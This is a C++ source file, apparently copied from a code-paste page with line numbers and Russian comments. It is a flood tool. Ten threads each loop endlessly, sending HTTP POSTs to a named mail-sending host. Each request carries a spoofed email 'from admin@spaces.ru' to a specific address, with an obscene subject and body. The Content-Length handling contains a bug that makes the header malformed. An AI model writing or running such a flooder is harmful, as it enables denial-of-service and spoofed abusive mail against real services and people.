include cstdio include cstdlib include cstring include string include

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <string>
#include <iostream>
// сокеты / io
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
const char *server = "send.chmod.ga";
unsigned short port = 80;
using namespace std;
void *flood(void *) {
int sock;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(server); // проверяем, IP ли это
if (addr.sin_addr.s_addr == INADDR_NONE) { // нифига не IP
// Резолвим домен
struct hostent *h;
if (!(h = gethostbyname(server))) {
perror("gethostbyname error");
return NULL;
}
// Проверяем, AF_INET это или нет
if (h->h_addrtype != AF_INET) {
perror("Login server addr is not AF_INET o_O");
return NULL;
}
// Задём IP
addr.sin_addr.s_addr = ((struct in_addr *) h->h_addr_list[0])->s_addr;
}
string post = "to=azq2@spaces.ru&from=admin@spaces.ru&subject=xujxuj&message=pizdapizda&act=send&submit=Отправить";
string data = "POST / HTTP/1.0\r\n\
Host: send.chmod.ga\r\n\
Content-type: application/x-www-form-urlencoded\r\n\
Content-Length: ";
data += post.length();
data += "\r\n\
Connection: Close\r\n\r\n";
data += post;
sock = -1;
while (1) {
if (sock > -1)
close(sock);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("open socket error");
continue;
}
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
perror("connect socket error");
close(sock);
continue;
}
if (write(sock, data.c_str(), data.length()) != (int) data.length()) {
perror("write error");
}
close(sock);
sock = -1;
}
return NULL;
}
int main() {
unsigned int n = 10;
pthread_t *threads = new pthread_t[10];
for (unsigned int i = 0; i < n; ++i)
pthread_create(&threads[i], NULL, flood, NULL);
for (unsigned int i = 0; i < n; ++i)
pthread_join(threads[i], NULL);
delete[] threads;
return 0;
}